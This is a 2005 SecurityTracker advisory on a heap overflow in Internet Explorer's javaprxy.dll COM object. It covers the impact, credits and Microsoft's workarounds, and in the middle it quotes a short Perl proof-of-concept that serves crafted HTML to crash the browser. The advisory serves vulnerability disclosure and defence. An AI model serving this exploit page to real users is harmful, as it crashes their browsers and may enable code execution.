(Vendor Describes Workarounds) Microsoft Internet Explorer 'javaprxy.dll' COM Object Exception Handling Lets Remote Users Crash the Browser
|
|
SecurityTracker Alert ID: 1014363
|
|
SecurityTracker URL: http://securitytracker.com/id?1014363
|
|
CVE Reference: CAN-2005-2087
(Links to External Site)
|
Date: Jul 2 2005
|
Impact: Denial of service via network
|
Vendor Confirmed: Yes
|
Advisory: Microsoft Security Advisory
|
Version(s): 6 SP1 and prior versions
|
Description: A vulnerability was reported in Microsoft Internet Explorer in 'javaprxy.dll'. A remote user can cause the target user's browser to crash or potentially execute arbitrary code.
A remote user can create specially crafted HTML that, when loaded by the target user, will trigger a heap overflow in 'javaprxy.dll'
and cause the target user's browser to crash. Specially crafted object tags can cause certain COM componenets to crash.
It may
be possible to overwrite a function pointer to execute arbitrary code. However, the vendor could not reproduce a function pointer
overwrite.
A demonstration exploit is provided:
#!/usr/bin/perl
# in order for this to work javaprxy.dll must be available
on the client.
my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0'; # javaprxy.dll
my $html1 = "<html><body>\n<object
classid=\"CLSID:".$clsid."\"></object>\n";
my
$html2 = "\n</body><script>location.reload();</script></html>\n";
print "Content-Type: text/html;\r\n\r\n";
print $html1.("A"x30000).$html2;
The
vendor was notified on June 17, 2005.
sk0L and Martin Eiszner from SEC-CONSULT discovered this vulnerability.
|
Impact: A remote user can cause the target user's browser to crash.
A remote user may be able to execute arbitrary code on the target system [however, code execution was not confirmed in the report].
|
Solution: No solution was available at the time of this entry.
Microsoft has described some workarounds in their advisory, available at:
http://www.microsoft.com/technet/security/advisory/903144.mspx
|
Vendor URL: www.microsoft.com/technet/security/advisory/903144.mspx (Links to External Site)
|
Cause: Exception handling error
|
Underlying OS: Windows (Any)
|
|
Message History:
This archive entry is a follow-up to the message listed below.
|
Source Message Contents
|
Date: Sat, 2 Jul 2005 11:25:37 -0400
Subject: http://www.microsoft.com/technet/security/advisory/903144.mspx
|
> Microsoft Security Advisory (903144)
> A COM Object (Javaprxy.dll) Could Cause Internet Explorer to Unexpectedly Exit
|
|